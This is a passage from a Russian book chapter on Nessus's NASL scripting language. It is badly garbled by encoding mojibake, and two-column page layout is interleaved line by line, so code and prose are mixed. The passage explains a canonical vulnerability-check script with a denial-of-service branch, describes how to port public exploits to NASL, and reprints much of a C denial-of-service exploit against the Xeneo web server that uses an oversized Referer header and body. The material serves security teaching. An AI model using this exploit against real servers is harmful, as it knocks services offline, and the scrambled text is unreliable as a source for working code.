44 } 23 # Ìíîãèå ôóíêöèè â ýòîì ðàçäåëå ïðèíèìàþò èìåíîâàííûå ïàðàìåòðû
24 # äëÿ ïîääåðæêè ðàçëè÷íûõ ÿçûêîâ.  íàñòîÿùåå âðåìÿ Nessus
Õîòÿ äâóõ îäèíàêîâûõ NASL-ñöåíàðèåâ íå ñóùåñòâóåò, áîëüøèíñòâî èç 25 # ïîääåðæèâàåò àíãëèéñêèé (english), ôðàíöóçñêèé (francais),
26 # íåìåöêèé (deutsch) è ïîðòóãàëüñêèé (portuguese) ÿçûêè. Åñëè
íèõ ñòðîÿòñÿ ïî ïðèâåäåííîé ñõåìå. Âíà÷àëå èäóò êîìàíäû, ïîÿñíÿþùèå 27 # èìÿ àðãóìåíòà íå çàäàíî, ïðåäïîëàãàåòñÿ àíãëèéñêèé ÿçûê.
íàçâàíèå, êðàòêîå îïèñàíèå ïðîáëåìû èëè óÿçâèìîñòè è íàçíà÷åíèå ñöåíà- 28 # Îïèñàíèå íà àíãëèéñêîì îáÿçàòåëüíî, íà äðóãèõ ÿçûêàõ – ïî æåëàíèþ.
ðèÿ. Çàòåì ñëåäóåò îïèñàíèå, ïåðåäàâàåìîå ÿäðó Nessus, êîòîðîå âêëþ÷àåòñÿ 29
â îò÷åò, ôîðìèðóåìûé, êîãäà çàïóùåííûé ñöåíàðèé îáíàðóæèâàåò óÿçâèìóþ 30 script_version("$Revision:1.0$");
ñèñòåìó. Íàêîíåö, îáû÷íî â òåêñòå åñòü ñòðîêà «Íà÷àëî ñöåíàðèÿ», îòìå÷àþ- 31
ùàÿ, ãäå íà÷èíàåòñÿ ñàì êîä. 32 # script_name – ýòî ïðîñòî èìÿ ñöåíàðèÿ. Âûáèðàéòå èíôîðìàòèâíûå
33 # èìåíà, íàïðèìåð, èìÿ "php_4_2_x_malformed_POST.nasl" ëó÷øå,
Òåëà âñåõ ñöåíàðèåâ, êîíå÷íî, ðàçëè÷íû, íî ñöåíàðèé, êàê ïðàâèëî,
34 # ÷åì ïðîñòî "php.nasl"
ïîëüçóåòñÿ èíôîðìàöèåé èç áàçû çíàíèé è ñîõðàíÿåò â íåé ðåçóëüòàòû ñâîåé 35 #
ðàáîòû, âûïîëíÿåò òîò èëè èíîé àíàëèç öåëåâîé ñèñòåìû, ïðåäâàðèòåëüíî 36 name["english"] = "Èìÿ ñöåíàðèÿ íà àíãëèéñêîì";
óñòàíîâèâ ñîåäèíåíèå ñ íåé ÷åðåç ñîêåò, è âîçâðàùàåò TRUE êàê ñâèäåòåëü- 37 name["francais"] = "Èìÿ ñöåíàðèÿ íà ôðàíöóçñêîì";
128 Глава 2. Язык сценариев NASL Пример: канонический сценарий на языке NASL 129
38 script_name(english:name["english"], francais:name["francais"]); 86 # – Gain root remotely (óäàëåíèå ïîëó÷åíèå ïðàâ ïîëüçîâàòåëÿ root)
39 87 # – General (îáùèå)
40 # script_description – ýòî ïîäðîáíîå îïèñàíèÿ óÿçâèìîñòè. 88 # – Misc. (ðàçíîå)
41 desc["english"] = " 89 # – Netware
42 Ýòî îïèñàíèå Nessus ïîêàæåò ïðè ïðîñìîòðå ñöåíàðèÿ. Â íåì íàäî 90 # – NIS
43 ðàññêàçàòü, ÷òî ñöåíàðèé äåëàåò, êàêèå âåðñèè ïðîãðàìì óÿçâèìû, 91 # – Ports scanners (ñêàíåðû ïîðòîâ)
44 äàòü ññûëêè íà èñòî÷íèê èñõîäíîé èíôîðìàöèè, íà ñòàòüè â CVE è 92 # – Remote file access (óäàëåííûé äîñòóï ê ôàéëàì)
45 BugTraq (åñëè îíè åñòü), ññûëêó íà ñàéò ïðîèçâîäèòåëÿ ïðîãðàììû, 93 # – RPC
46 íà ïàò÷, à òàêæå ëþáóþ äðóãóþ èíôîðìàöèþ, êîòîðóþ âû ñî÷òåòå 94 # – Settings (ïîëó÷åíèå è èçìåíåíèå êîíôèãóðàöèè)
47 ïîëåçíîé. 95 # – SMTP problems (ïðîáëåìû â SMTP)
48 96 # – SNMP
49 97 # – Untested (íå òåñòèðîâàëîñü)
50 Òåêñò íå íà÷èíàåòñÿ ñ êðàñíîé ñòðîêè, ÷òîáû îí ïðàâèëüíî îòîáðàæàëñÿ 98 # – Useless services (áåñïîëåçíûå ñëóæáû)
51 â ãðàôè÷åñêîì èíòåðôåéñå Nessus."; 99 # – Windows
52 script_description(english:desc["english"]); 100 # – Windows : User management (Windows : óïðàâëåíèå ïîëüçîâàòåëÿìè)
53 101 family["english"] = "Denial of Service";
54 # script_summary – ýòî îäíîñòðî÷íîå îïèñàíèå íàçíà÷åíèÿ ñöåíàðèÿ. 102 family["francais"] = "Deni de Service";
55 summary["english"] = "Îäíîñòðî÷íîå îïèñàíèå íà àíãëèéñêîì."; 103 script_family(english:family["english"],
56 summary["francais"] = " Îäíîñòðî÷íîå îïèñàíèå íà ôðàíöóçñêîì."; francais:family["francais"]);
57 script_summary(english:summary["english"], 104
francais:summary["francais"]); 105 # script_dependencies ýòî òî æå ñàìîå, ÷òî íåïðàâèëüíî íàïèñàííàÿ
58 106 # ôðàçà "script_dependencie" â NASL1. Ýòîò ðàçäåë ãîâîðèò î òîì,
59 # script_category – ýòî îäíà èç ñëåäóþùèõ êàòåãîðèé: 107 # êàêèå NASL-ñöåíàðèè íåîáõîäèìû äëÿ ïðàâèëüíîé ðàáîòû äàííîãî.
60 # ACT_INIT: ñöåíàðèé èíèöèàëèçèðóåò ñòàòüè â ÁÇ. 108 #
61 # ACT_SCANNER: ñêàíåð ïîðòîâ èëè íå÷òî ïîäîáíîå (òèïà ping) 109 script_dependencies("find_service.nes");
62 # ACT_SETTINGS: çàïèñûâàåò èíôîðìàöèþ â ÁÇ ïîñëå ACT_SCANNER. 110
63 # ACT_GATHER_INFO: èäåíòèôèöèðóåò ñëóæáû, ðàçáèðàåò øàïêè. 111 # Ôóíêöèÿ script_require_ports ïðèíèìàåò îäèí èëè íåñêîëüêî íîìåðîâ
64 # ACT_ATTACK: àòàêà áåç ïîñëåäñòâèé (íàïðèìåð, îáõîä êàòàëîãîâ) 112 # ïîðòîâ èç áàçû çíàíèé
65 # ACT_MIXED_ATTACK: çàïóñêàåò ïîòåíöèàëüíî îïàñíûå àòàêè. 113 script_require_ports("Services/www",80);
66 # ACT_DESTRUCTIVE_ATTACK: ïûòàåòñÿ èñêàçèòü äàííûå. 114
67 # ACT_DENIAL: ïûòàåòñÿ âûçâàòü îòêàç ñëóæáû. 115 # Âñåãäà íåîáõîäèìî âûõîäèòü èç áëîêà îïèñàíèÿ
68 # ACT_KILL_HOST: ïûòàåòñÿ âûâåñòè ìàøèíó-æåðòâó èç ñòðîÿ. 116 exit(0);
69 script_category(ACT_DENIAL); 117}
70 118
71 # script_copyright äàåò âîçìîæíîñòü çàÿâèòü îá àâòîðñêèõ ïðàâàõ íà 119 #
72 # ñöåíàðèé. ×àñòî ñîäåðæèò ïðîñòî èìÿ àâòîðà, èíîãäà ëèöåíçèþ GPL 120 # Íà÷àëî ïðîâåðêè
73 # èëè ñòðîêó "No copyright." (îòêàç îò àâòîðñêèõ ïðàâ) 121 #
74 script_copyright(english:"No copyright."); 122
75 123 # Ñíà÷àëà âêëþ÷èì äðóãèå ñöåíàðèè è áèáëèîòå÷íûå ôóíêöèè
76 # script_family êëàññèôèöèðóåò ïîâåäåíèå ñöåíàðèÿ. Äîïóñòèìû 124 include("http_func.inc");
77 # ñëåäóþùèå çíà÷åíèÿ: 125
78 # – Backdoors (÷åðíûé õîä) 126 # Ïîëó÷èòü íà÷àëüíóþ èíôîðìàöèè èç ÁÇ èëè îò öåëåâîé ñèñòåìû
79 # – CGI abuses (àòàêà íà CGI-ïðîãðàììó) 127 port = get_kb_item("Services/www");
80 # – CISCO 128 if ( !port ) port = 80;
81 # – Denial of Service (îòêàç îò îáñëóæèâàíèÿ) 129 if ( !get_port_state(port) ) exit(0);
82 # – Finger abuses (àòàêà íà ñëóæáó finger) 130
83 # – Firewalls (ìåæñåòåâûå ýêðàíû) 131 if( safe_checks() ) {
84 # – FTP 132
85 # – Gain a shell remotely (óäàëåííîå ïîëó÷åíèå îáîëî÷êè) 133 # Ïîëüçîâàòåëè Nessus ìîãóò óáåäèòüñÿ, ÷òî ïðè òåñòèðîâàíèè
130 Глава 2. Язык сценариев NASL Перенос на языке NASL и наоборот 131
134 # êðèòè÷åñêè âàæíûõ õîñòîâ íà óÿçâèìîñòü äåëàþòñÿ òîëüêî 183
135 # áåçîïàñíûå ïðîâåðêè. Íàëè÷èå òàêîãî ðàçäåëà íåîáÿçàòåëüíî, íî 184 # Çàêðûòü ñîêåò.
136 # íàñòîÿòåëüíî ðåêîìåíäóåòñÿ. Ê ÷èñëó áåçîïàñíûõ ïðîâåðîê 185 http_close_socket(soc);
137 # îòíîñÿòñÿ ñ÷èòûâàíèå øàïêè, HTTP-îòâåòîâ è ò.ï.. 186
138 187 # Åñëè õîñò ïåðåñòàë îòâå÷àòü, ñîîáùèòü î ñåðüåçíîé ïðîáëåìå
139 # ñ÷èòàòü øàïêó 188 if ( http_is_dead(port:port) ) security_hole(port);
140 b = get_http_banner(port: port); 189 }
141 190 }
142 # ïðîâåðèì, ñîîòâåòñòâóåò ëè øàïêà Apache/2.
143 if ( b =~ 'Server: *Apache/2\.' ) {
144
145
report = "
Íàéäåí Web-ñåðâåð Apache âåðñèè 2.x – ìîæåò, óÿçâèì, à, ìîæåò, Перенос на язык NASL и наоборот
146 è íåò. Â êîíöå êîíöîâ, ýòî òîëüêî ïðèìåð.
147 Ïîä ïåðåíîñîì êîäà ïîíèìàåòñÿ ïðîöåäóðà ïåðåâîäà ïðîãðàììû ñ îäíîãî ÿçû-
148 ** Îòìåòèì, ÷òî Nessus íå âûïîëíèëà ðåàëüíîãî òåñòà, à òîëüêî êà íà äðóãîé. Êîíöåïòóàëüíî ïåðåíîñ âûãëÿäèò ïðîñòî, íî íà ïðàêòèêå ìîãóò
149 ** èçâëåêëà íîìåð âåðñèè èç øàïêè. âîçíèêíóòü ñëîæíîñòè, òàê êàê íàäî õîðîøî çíàòü îáà ÿçûêà. Åñëè ÿçûêè
150
151 Ðåøåíèå : Çàéäèòå íà www.apache.org äëÿ ïîëó÷åíèÿ ïîñëåäíåé âåðñèè.
ïîõîæè, íàïðèìåð, åñëè ðå÷ü èäåò î C è Ñ++, êîòîðûå èìåþò ñõîæèé ñèíòàê-
152 Îöåíêà ðèñêà : íèçêèé"; ñèñ, íàáîð áèáëèîòå÷íûõ ôóíêöèé è òàê äàëåå, òî çàäà÷à óïðîùàåòñÿ. Êîãäà
153 æå íóæíî ïåðåíåñòè ïðîãðàììó íà ñîâñåì äðóãîé ÿçûê, íàïðèìåð, ñ Java íà
154 # ñîîáùèòü Nessus îá óÿçâèìîé âåðñèè Perl, òî âñå ñòàíîâèòñÿ êóäà ñëîæíåå, ïîñêîëüêó ñèíòàêñèñ èìååò ìàëî îáùå-
155 # Ê ôóíêöèÿì èçâåùåíèÿ îòíîñÿòñÿ: ãî, à ìåòîäû ïðîåêòèðîâàíèÿ, ñðåäû ðàçðàáîòêè è áàçîâàÿ èäåîëîãèÿ ÿçûêîâ
156 # security_note: ïîëó÷åíà èíôîðìàöèÿ
157 # security_warning: ìåëêàÿ ïðîáëåìà
ôóíäàìåíòàëüíî ðàçëè÷íû.
158 # security_hole: ñåðüåçíàÿ ïðîáëåìà NASL èìååò áîëüøå îáùåãî ñ òàêèìè ÿçûêàìè, êàê C è Perl, ÷åì ñ æåñòêî
159 security_hole(port: port, data: report); ñòðóêòóðèðîâàííûìè ÿçûêàìè òèïà Java è Python. Ñèíòàêñè÷åñêè C è NASL
160 } î÷åíü ïîõîæè, à ñëàáàÿ òèïèçàöèÿ ïåðåìåííûõ è óäîáíûå âûñîêîóðîâíåâûå
161 ñðåäñòâà ìàíèïóëèðîâàíèÿ ñòðîêàìè íàïîìèíàþò Perl. Ïîýòîìó ïåðåíîñ
162 # ôóíêöèÿ safe_checks çàâåðøèëàñü, âûéòè
163 exit(0);
ñ C èëè Perl íà NASL, âåðîÿòíî, ïîêàæåòñÿ âàì ïðîùå, ÷åì ñ Java. Ê ñ÷àñòüþ,
164 «ýêñïëîéòû» íà Java âñòðå÷àþòñÿ íå òàê ÷àñòî, êàê íà C èëè Perl. Áåãëûé àíà-
165 } else { ëèç «ýêñïëîéòîâ» (ñì. ñàéò phathookups.com) ïîêàçàë, ÷òî ïðèìåðíî 90% íà-
166 # Åñëè ðåæèì safe_checks íå çàäàí, ìîæíî ïðèìåíÿòü ïðè òåñòèðîâàíèè ïèñàíû íà C, 9.7% íà Perl è òîëüêî 0.3% íà Java.
167 # áîëåå æåñòêèå ìåòîäû, íàïðèìåð, DoS-àòàêó èëè ïåðåïîëíåíèå áóôåðà
168
169 # ïðîâåðèì, ÷òî õîñò æèâ ïåðåä íà÷àëîì àòàêè Логический анализ
170 if ( http_is_dead(port:port) ) exit(0);
171 ×òîáû óïðîñòèòü ïðîöåññ ïåðåíîñà, îòâëåêèòåñü îò ñèíòàêñè÷åñêèõ ðàçëè÷èé
172 # îòêðûòü ñîêåò äëÿ ñîåäèíåíèÿ ñ öåëåâûì õîñòîì è ïîðòîì ìåæäó ÿçûêàìè è ñêîíöåíòðèðóéòåñü íà ïîíèìàíèè ëîãèêè ïðîãðàììû. Ïî-
173 soc = http_open_socket(port); ïûòàéòåñü ïîíÿòü, êàêèìè ñðåäñòâàìè ïðîãðàììà äîñòèãàåò ñâîèõ öåëåé. Çà-
174 if( soc ) {
òåì îïèøèòå ñóùåñòâåííûå øàãè è äåòàëè ðåàëèçàöèè íà ïñåâäîêîäå. È, íà-
175 # ñêîíñòðóèðîâàòü ïîëåçíóþ íàãðóçêó, â äàííîì ñëó÷àå ñòðîêó
176 payload = "some nasty string\n\n\n\n\n\n\n\n\n"; êîíåö, ïåðåâåäèòå ïñåâäîêîä íà íóæíûé âàì ÿçûê. (Ïîäðîáíåå ýòè øàãè áó-
177 äóò îïèñàíû â ñëåäóþùåé ãëàâå.)
178 # îòïðàâèòü ïîëåçíóþ íàãðóçêó
179
180
send(socket:soc, data:payload); Ëîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììû
181 # ïðî÷èòàòü ðåçóëüòàò. ×òåíèå èñõîäíîãî òåêñòà – ýòî ñàìûé ïðÿìîé è îáû÷íûé ìåòîä èçó÷åíèÿ èí-
182 r = http_recv(socket:soc); òåðåñóþùåé âàñ ïðîãðàììû. Ïîìèìî ñîáñòâåííî èñõîäíîãî òåêñòà, öåííàÿ
132 Глава 2. Язык сценариев NASL Перенос на языке NASL и наоборот 133

èíôîðìàöèÿ ìîæåò ñîäåðæàòüñÿ â çàãîëîâî÷íûõ ôàéëàõ è êîììåíòàðèÿõ. Åñëè


ðå÷ü èäåò î ïðîñòîì «ýêñïëîéòå», òî äëÿ ïîíèìàíèÿ ëîãèêè ñöåíàðèÿ ìîæåò Примечание
îêàçàòüñÿ äîñòàòî÷íûì îçíàêîìèòüñÿ ñ åãî òåêñòîì.  áîëåå ñëîæíûõ ñëó÷àÿõ
áûâàåò ïîëåçíî ñîáðàòü ñâåäåíèÿ îá «ýêñïëîéòå» èç äðóãèõ èñòî÷íèêîâ. «Эксплойты», извещения либо то и другое обычно выкладываются на
Íà÷íèòå ñ ïîèñêà èçâåùåíèÿ, êîòîðîå ñîîòâåòñòâóåò «ýêñïëîéòó». Åñëè òà- следующие сайты:
êîâîå ñóùåñòâóåò, òî â íåì âû íàéäåòå èíôîðìàöèþ î õàðàêòåðå óÿçâèìîñ-  http://www.securityfocus.com (эксплойты, извещения);
òè è ìåòîäàõ åå ýêñïëóàòàöèè. Åñëè âàì ïîâåçåò, òî â èçâåùåíèè áóäåò òî÷íî  http://www.hack.co.za (эксплойты);
íàïèñàíî, ÷òî äåëàåò «ýêñïëîéò» (ïåðåïîëíåíèå áóôåðà, àòàêà íà îøèáêè ïðè  http://www.packetstormsecurity.net (эксплойты);
êîíòðîëå âõîäíûõ äàííûõ, èñ÷åðïàíèå ðåñóðñîâ è òàê äàëåå). Íå îãðàíè÷è-  http://www.securiteam.com (эксплойты, извещения);
âàéòåñü ïîèñêîì èçâåùåíèÿ î ñàìîì «ýêñïëîéòå», â ðàçëè÷íûõ îíëàéíîâûõ  http://www.securityprotocols.com (эксплойты, извещения);
ñîîáùåñòâàõ ÷àñòî ìîæíî íàéòè èíôîðìàòèâíûå îáñóæäåíèÿ èçâåñòíûõ è  http://www.cert.org (извещения);
âíîâü îáíàðóæåííûõ óÿçâèìîñòåé. Èìåéòå â âèäó, ÷òî «ýêñïëîéòû», ðàçìå-  http://www.sans.org (извещения).
ùàåìûå â ñïèñêàõ ðàññûëêè ñ ïîëíûì ðàñêðûòèåì èíôîðìàöèè, íàïðèìåð,
â BugTraq, ìîãóò ñîäåðæàòü íàìåðåííî âíåñåííûå îøèáêè. Àâòîð ìîæåò
ñëåãêà «ïîäïðàâèòü» êîä, ÷òîáû «ýêñïëîéò» íå êîìïèëèðîâàëñÿ, èëè óáðàòü
ìèðîâàíèÿ), ïîñêîëüêó ïðè ïîïûòêå ïðÿìîãî ïîñòðî÷íîãî ïåðåâîäà, íàïðè-
èç íåãî âàæíóþ ôóíêöèîíàëüíîñòü, äîáàâèòü ñáèâàþùèå ñ òîëêó êîììåíòà-
ìåð, ñ C âû óïóñòèòå èç âèäó âñòðîåííûå â NASL ôóíêöèè. Òèïè÷íûé ïñåâäî-
ðèè èëè âêëþ÷àòü «òðîÿíñêèé» êîä. Õîòÿ íåêîððåêòíûé êîä èíîãäà ïóáëèêó-
êîä âûãëÿäèò ïðèìåðíî òàê:
åòñÿ ïî íåäîñìîòðó, ÷àùå îøèáêè âíîñÿòñÿ îñîçíàííî, ÷òîáû óñëîæíèòü
æèçíü áåçãðàìîòíûì «scri pt kiddie», íî ïðè ýòîì ïðîäåìîíñòðèðîâàòü âîç- 1 example_exploit(ip, port)
ìîæíîñòü ðåàëèçàöèè «ýêñïëîéòà» ïîñòàâùèêàì ïðîãðàììíîãî îáåñïå÷å- 2 target_ip = ip # âûâåñòè ñîîáùåíèå îá îøèáêå è âûéòè, åñëè
íèÿ, ïðîôåññèîíàëàì è êâàëèôèöèðîâàííûì õàêåðàì. 3 # IP-àäðåñ íå óêàçàí
Âàæíî âû÷ëåíèòü îñíîâíûå ëîãè÷åñêèå êîìïîíåíòû ñöåíàðèÿ, êîòîðûé 4 target_port = port # åñëè ïîðò íå çàäàí, ïî óìîë÷àíèþ 80
âû ñîáèðàåòåñü ïåðåíîñèòü, áóäü òî ïóòåì èçó÷åíèÿ èñõîäíîãî òåêñòà èëè 5
6 local_socket = ïîëó÷èòü îòêðûòûé ñîêåò íà ëîêàëüíîé ñèñòåìå
â ðåçóëüòàòå ïîèñêà îïóáëèêîâàííîé èíôîðìàöèè.  ÷àñòíîñòè, ðàçáåðèòåñü, 7 ïîëó÷èòü èíôîðìàöèþ îá IP îò õîñòà ïî àäðåñó target_ip
ñêîëüêî ñåòåâûõ ñîåäèíåíèé ñîçäàåò «ýêñïëîéò», ÷òî ýòî çà ñîåäèíåíèÿ, êà- 8 sock = ñòðóêòóðà, çàïîëíåííàÿ ïîëó÷åííîé èíôîðìàöèåé
êîâà ïðèðîäà ïîëåçíîé íàãðóçêè è êàê ýòà íàãðóçêà ñîçäàåòñÿ, çàâèñèò ëè «ýêñ- 9 my_socket = connect_socket (local_socket, sock)
ïëîéò» îò âðåìåííûõ ôàêòîðîâ. 10
Ëîãè÷åñêèé ïîòîê èñïîëíåíèÿ ñöåíàðèÿ ìîæåò âûãëÿäåòü ïðèìåðíî òàê: 11 string payload = HTTP-çàãîëîâîê ñ î÷åíü äëèííûì Referer
12 send(my_socket, payload, length(payload)
1. Îòêðûòü ñîêåò. 13 exit
2. Óñòàíîâèòü ñîåäèíåíèå ñ óäàëåííûì õîñòîì, óêàçàâ íîìåð ïîðòà, ïåðå-
äàííûé â êà÷åñòâå àðãóìåíòà. Ïîñëå íàïèñàíèÿ äåòàëüíîãî ïñåâäîêîäà ïåðåâîä åãî íà ÿçûê ðåàëüíîãî
3. Ïðîâåðèòü øàïêó è óáåäèòüñÿ â òîì, ÷òî õîñò îòâå÷àåò. «ýêñïëîéòà» ñòàíîâèòñÿ óïðàæíåíèåì íà ïîíèìàíèå ñèíòàêñèñ ÿçûêà, èìåþ-
4. Ïîñëàòü çàïðîñ HTPP GET, çàäàâ â íåì äëèííóþ ñòðîêó â êà÷åñòâå çàãî- ùèõñÿ ôóíêöèé è ñðåäû ïðîãðàììèðîâàíèÿ. Åñëè âû óæå õîðîøî çíàêîìû
ëîâêà Referer. ñ ÿçûêîì, òî ýòîò ýòàï ïðîéäåò ëåãêî.  ïðîòèâíîì ñëó÷àå ïðèäåòñÿ çàíÿòüñÿ
5. Ïðîâåðèòü, îòâå÷àåò ëè åùå õîñò (ïûòàÿñü ïîëó÷èòü øàïêó). êîïèðîâàíèåì ïðèìåðîâ è ëèñòàíèåì ñïðàâî÷íîãî ðóêîâîäñòâà è ðóêîâîä-
ñòâà ïî ïðîãðàììèðîâàíèþ íà íóæíîì ÿçûêå.
Ïñåâäîêîä
Ïîëó÷èâ îáùåå ïðåäñòàâëåíèå î ðàáîòå «ýêñïëîéòà», ïåðåõîäèòå ê äåòàëü- Ïåðåíîñ íà NASL
íîìó îïèñàíèþ îòäåëüíûõ øàãîâ. Ïîëåçíûì íà ýòîì ýòàïå ìîæåò îêàçàòüñÿ Ïåðåíîñ «ýêñïëîéòîâ» íà NASL èìååò òî î÷åâèäíîå ïðåèìóùåñòâî, ÷òî
íàïèñàíèå ïñåâäîêîäà (òåêñòà íà ñìåñè åñòåñòâåííîãî ÿçûêà è ÿçûêà ïðîãðàì- ê âàøèì óñëóãàì âñÿ èíôðàñòðóêòóðà Nessus. Ðåøèâøèñü íà ýòîò øàã, âû
134 Глава 2. Язык сценариев NASL Перенос на языке NASL и наоборот 135

ñìîæåòå ïîäåëèòüñÿ ñâîèì ñöåíàðèåì ñ äðóãèìè ïîëüçîâàòåëÿìè Nessus. Ïå- 8


ðåíîñ íà NASL îáëåã÷àåò òîò ôàêò, ÷òî ýòîò ÿçûê ñ ñàìîãî íà÷àëà îðèåíòèðî- 9 #pragma comment(lib, "ws2_32.lib")
10
âàí íà ïîääåðæêó ðàçðàáîòêè èíñòðóìåíòîâ äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè è 11 char exploit[] =
ïðîâåðîê íà óÿçâèìîñòü. Îí ïðåäîñòàâëÿåò óäîáíûå ñðåäñòâà, íàïðèìåð, áàçó 12
çíàíèé è ôóíêöèè äëÿ ìàíèïóëèðîâàíèÿ íèçêîóðîâíåâûìè ïàêåòàìè, ñòðî- 13 "GET /index.html?testvariable=&nexttestvariable=gif HTTP/1.1\r\n"
êàìè è ðàáîòû ñ ñåòåâûìè ïðîòîêîëàìè. 14 "Referer:
http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Ìîæíî ïðåäëîæèòü, ê ïðèìåðó, òàêîé ïîäõîä äëÿ ïåðåíîñà ïðîãðàìì íà %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ÿçûê NASL: %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1. Ñîáåðèòå èíôîðìàöèþ îá «ýêñïëîéòå». %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n"
2. Èçó÷èòå èñõîäíûé òåêñò. 15 "Content-Type: application/x-www-form-urlencoded\r\n"
3. Ñîñòàâüòå âûñîêîóðîâíåâîå îïèñàíèå ëîãèêè ïðîãðàììû. 16 "Connection: Keep-Alive\r\n"
4. Íàïèøèòå äåòàëüíûé ïñåâäîêîä. 17 "Cookie: VARIABLE=SPLABS; path=/\r\n"
18 "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n"
5. Ïåðåâåäèòå ïñåâäîêîä íà NASL. 19 "Variable: result\r\n"
6. Ïðîòåñòèðóéòå NASL-ñöåíàðèé ñ ïîìîùüþ êîìàíäíîãî èíòåðïðåòàòî- 20 "Host: localhost\r\n"
ðà. 21 "Content-length: 513\r\n"
7. Äîáàâüòå çàãîëîâîê, îïèñàíèå è ôóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðà- 22 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png\r\n"
áîòû. 23 "Accept-Encoding: gzip\r\n"
8. Ïðîòåñòèðóéòå äîïîëíåííûé ñöåíàðèé â ñðåäå Nessus. 24 "Accept-Language: en\r\n"
9. Åñëè õîòèòå, îòïðàâüòå ñâîé ñöåíàðèé àäìèíèñòðàòîðó Nessus. 25 "Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n"
26
Êàê âèäèòå, ïðîöåññ ïåðåíîñà íà ÿçûê NASL ñëåäóåò òåì æå îáùèì ïðèí- "whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀ
öèïàì, ÷òî è äëÿ ïåðåíîñà íà ëþáîé äðóãîé ÿçûê: ðàçîáðàòüñÿ â ïðîãðàììå, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ
íàïèñàòü ïñåâäîêîä è ïðåîáðàçîâàòü åãî â èñõîäíûé òåêñò. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ
Êîãäà ñöåíàðèé çàðàáîòàåò â êîìàíäíîì èíòåðïðåòàòîðå, äîáàâüòå íåîáõî- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ
äèìûå çàãîëîâîê, îïèñàòåëüíûå ôóíêöèè è ôóíêöèè èçâåùåíèÿ. Ïîñëå ýòî- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";
ãî ìîæåòå ïðîòåñòèðîâàòü åãî â êëèåíòå Nessus è îòïðàâèòü ïëîäû ñâîèõ 27
òðóäîâ àäìèíèñòðàòîðó Nessus, ÷òîáû îí âêëþ÷èë åãî â áèáëèîòåêó. 28 int main(int argc, char *argv[])
 ñëåäóþùèõ ðàçäåëàõ ýòà ïðîöåäóðà èëëþñòðèðóåòñÿ íà êîíêðåòíûõ ïðè- 29 {
30 WSADATA wsaData;
ìåðàõ. 31 WORD wVersionRequested;
32 struct hostent *pTarget;
Ïåðåíîñ íà NASL ñ C/C++ 33 struct sockaddr_in sock;
34 char *target, buffer[30000];
 ñëåäóþùåì ïðèìåðå äåìîíñòðèðóåòñÿ óäàëåííîå ïåðåïîëíåíèå áóôåðà äëÿ 35 int port,bufsize;
Web-ñåðâåðà Xeneo, âûçûâàþùåå îòêàç îò îáñëóæèâàíèÿ. 36 SOCKET mysocket;
37
38 if (argc < 2)
1 /* Xeneo Web Server 2.2.2.10.0 DoS 39 {
2 * 40 printf("Xeneo Web Server 2.2.10.0 DoS\r\n <badpack3t@security-
3 *Foster and Tommy protocols.com>\r\n\r\n", argv[0]);
4 */ 41 printf("Tool Usage:\r\n %s <targetip> [targetport] (default is 80)
5 \r\n\r\n", argv[0]);
6 #include <winsock2.h> 42 printf("www.security-protocols.com\r\n\r\n", argv[0]);
7 #include <stdio.h> 43 exit(1);
136 Глава 2. Язык сценариев NASL Перенос на языке NASL и наоборот 137
44 } 92 printf("Óäàëåííûé Web-ñåðâåð àòàêîâàí\r\n");
45 93 closesocket(mysocket);
46 wVersionRequested = MAKEWORD(1, 1); 94 WSACleanup();
47 if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 95 return 0;
48 96 }
49 target = argv[1];
50 Öåëüþ ýòîé àòàêè ñ ïåðåïîëíåíèåì áóôåðà ÿâëÿåòñÿ îøèáêà â Web-ñåðâåðå
51 // ïîðò ïî óìîë÷àíèþ äëÿ àòàê ÷åðåç Web
Xeneo2, âîñïîëüçîâàòüñÿ êîòîðîé ìîæíî, ïîñëàâ çàïðîñ GET ïî ïðîòîêîëó
52 port = 80;
53
HTTP ñ î÷åíü äëèííûì çàãîëîâêîì Referer è ïàðàìåòðîì whatyoutyped. Âàæíî
54 if (argc >= 3) port = atoi(argv[2]); ïîíèìàòü, ÷òî äåëàåò «ýêñïëîéò» è êàê îí ýòî äåëàåò, íî çíàòü ïðè ýòîì âñå
55 bufsize = 512; î Web-ñåðâåðå Xeneo2 âîâñå íå îáÿçàòåëüíî.
56 if (argc >= 4) bufsize = atoi(argv[3]); Íà÷íåì àíàëèç «ýêñïëîéòà» ñ âûñîêîóðîâíåâîãî îïèñàíèÿ àëãîðèòìà:
57
58 mysocket = socket(AF_INET, SOCK_STREAM, 0);
1. Îòêðûòü ñîêåò.
59 if(mysocket==INVALID_SOCKET) 2. Ñîåäèíèòüñÿ ñ óäàëåííûì õîñòîì, óêàçàâ ïåðåäàííûé â êîìàíäíîé
